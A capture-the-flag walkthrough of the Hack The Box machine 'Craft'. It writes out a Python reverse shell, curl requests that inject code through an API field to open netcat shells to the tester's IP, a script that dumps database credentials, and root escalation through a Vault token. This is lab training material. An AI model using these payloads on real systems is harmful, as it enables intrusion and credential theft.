Details
This machine is Craft from Hack The Box
Recon
Start by checking ports
root@kali:~# nmap -sV -p- 10.10.10.110
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-20 12:58 EDT
Nmap scan report for 10.10.10.110
Host is up (0.054s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open ssl/http nginx 1.15.8
6022/tcp open ssh (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=10/20%Time=5DAC9269%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.41 seconds
User
Start with the webserver https://10.10.10.110/
I added craft.htb to hosts, along with gogs.craft.htb as it was linked in the top right. So onto https://gogs.craft.htb/
I took a look around https://gogs.craft.htb/explore/repos
Then https://gogs.craft.htb/Craft/craft-api, there was an interesting issue
So I took a look at the patch https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6
So if this code is live, I can include my own python. but the token wasn't valid anymore. But I found the api subdomain added it and took a look https://api.craft.htb/api/
So I need some login creds, but luckily there were some in the same commits as the vulnerable code, this time in the tests
dinesh:4aUh0A8PbVJxgd
I use the api tested to generate the token
Which gave
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNzU5NTIxfQ.2u4kKSmE9IIOXzuGj3fGYB2hUbAzh0SzADe_lI604jE
So I tried to inject a reverse shell in python with
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.36',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);
So set a listener
root@kali:~# nc -nlvp 4444
Of note is I had to refresh my token a few times, but I ran the payload
root@kali:~# curl -H 'X-Craft-API-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNzYxNzM3fQ.5EqTGuc1XZwbiFcE7RtC-WkYdd-FCk1TcbqWZtWI-NY' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"test1","brewer":"test1", "style": "test1", "abv": "__import__(\"os\").system(\"nc 10.10.14.36 4444 -e bin/bash \")"}'
"ABV must be a decimal value less than 1.0"
In the listener
connect to [10.10.14.36] from (UNKNOWN) [10.10.10.110] 42919
It instantly closed, so I tried a different payload
curl -H 'X-Craft-API-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNzYyMDc5fQ.p415L-YyI396ESVCw17d-_-PqKMujuN3WMa0hmtVZ7U' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"test1","brewer":"test1", "style": "test1", "abv": "__import__(\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 4444 >/tmp/f\")"}'
Which led to
connect to [10.10.14.36] from (UNKNOWN) [10.10.10.110] 43875
/bin/sh: can't access tty; job control turned off
/opt/app #
There's the shell
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
I was already root, but something seemed off
/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 6 2019 bin
drwxr-xr-x 5 root root 340 Oct 22 15:45 dev
drwxr-xr-x 1 root root 4096 Feb 10 2019 etc
drwxr-xr-x 2 root root 4096 Jan 30 2019 home
drwxr-xr-x 1 root root 4096 Feb 6 2019 lib
drwxr-xr-x 5 root root 4096 Jan 30 2019 media
drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt
drwxr-xr-x 1 root root 4096 Feb 9 2019 opt
dr-xr-xr-x 165 root root 0 Oct 22 15:45 proc
drwx------ 1 root root 4096 Feb 9 2019 root
drwxr-xr-x 2 root root 4096 Jan 30 2019 run
drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 30 2019 srv
dr-xr-xr-x 13 root root 0 Oct 22 15:45 sys
drwxrwxrwt 1 root root 4096 Oct 22 16:30 tmp
drwxr-xr-x 1 root root 4096 Feb 9 2019 usr
drwxr-xr-x 1 root root 4096 Jan 30 2019 var
The dockerenv file gave it away, I'm in a docker contained. So I dug around looking for ways out
/opt/app/craft_api # cat settings.py
[SNIP]
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
[SNIP]
So db creds, and the db is hosted on a host called db
/opt/app # ping -c 1 db
PING db (172.20.0.4): 56 data bytes
64 bytes from 172.20.0.4: seq=0 ttl=64 time=0.061 ms
--- db ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.061/0.061/0.061 ms
So the ip of the db host is
172.20.0.4
The contained doesn't have the mysql client installed, but there is a db test script
/opt/app # cat dbtest.py
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
So I made my own version which dumps the users database
root@kali:~# cat userdump.py
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `username`,`password` FROM `user`"
cursor.execute(sql)
for row in cursor:
print(row)
finally:
connection.close()
I moved this over to the target
root@kali:~# nc -nvlp 5555 < userdump.py
/opt/app # nc 10.10.14.36 5555 > userdump.py
I then ran this
/opt/app # python userdump.py
{'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}
I tried these on ssh with no luck, so I tried them on gogs https://gogs.craft.htb/user/login
The creds for gilfoyle worked
There was a private repo https://gogs.craft.htb/gilfoyle/craft-infra
In the .ssh folder https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh
I saved the id_rsa and chmod it to 600, then try it against ssh
root@kali:~# ssh gilfoyle@craft.htb -i ./id_rsa
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key './id_rsa':
I tried the password from before
ZEU3N8WNM2rh4T
And got
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$
So I took a look around
gilfoyle@craft:~$ ls -la
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb 9 2019 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb 9 2019 .viminfo
And grabbed my user flag
gilfoyle@craft:~$ cat user.txt
[REDACTED]
Vault token was interesting
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
So I did some research and found vault was a tool
gilfoyle@craft:~/.ssh$ vault
Usage: vault <command> [args]
Common commands:
read Read data and retrieves secrets
write Write data, configuration, and secrets
delete Delete secrets and configuration
list List data or secrets
login Authenticate locally
agent Start a Vault agent
server Start a Vault server
status Print seal and HA status
unwrap Unwrap a wrapped secret
Other commands:
audit Interact with audit devices
auth Interact with auth methods
kv Interact with Vault's Key-Value storage
lease Interact with leases
namespace Interact with namespaces
operator Perform operator-specific tasks
path-help Retrieve API help for paths
plugin Interact with Vault plugins and catalog
policy Interact with policies
secrets Interact with secrets engines
ssh Initiate an SSH session
token Interact with tokens
I took a look at what my current token was
gilfoyle@craft:~/.ssh$ vault token lookup f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Key Value
--- -----
accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
creation_time 1549678834
creation_ttl 0s
display_name root
entity_id n/a
expire_time <nil>
explicit_max_ttl 0s
id f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
meta <nil>
num_uses 0
orphan true
path auth/token/root
policies [root]
ttl 0s
It's the root token, so I tried it for login
gilfoyle@craft:~$ vault login f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
That worked, can I make it give me root ssh
gilfoyle@craft:~$ vault ssh root@127.0.0.1
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 4263aeeb-defe-9699-5c70-79263ace015f
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
I eneted the OTP it generated
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~#
And there we go, time for my flag
root@craft:~# ls -la
total 56
drwx------ 6 root root 4096 Aug 27 04:54 .
drwxr-xr-x 22 root root 4096 Nov 22 2018 ..
-rw-r--r-- 1 root root 585 Feb 9 2019 .bashrc
drwx------ 3 root root 4096 Feb 8 2019 .cache
drwx------ 3 root root 4096 Feb 2 2019 .config
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Feb 8 2019 .rnd
-r-------- 1 root root 33 Feb 9 2019 root.txt
-rw-r--r-- 1 root root 75 Feb 8 2019 .selected_editor
drwx------ 2 root root 4096 Feb 9 2019 .ssh
-rw------- 1 root root 36 Feb 9 2019 .vault-token
drwxr-xr-x 2 root root 4096 Feb 9 2019 .vim
-rw------- 1 root root 4172 Jul 3 03:36 .viminfo
root@craft:~# cat root.txt
[REDACTED]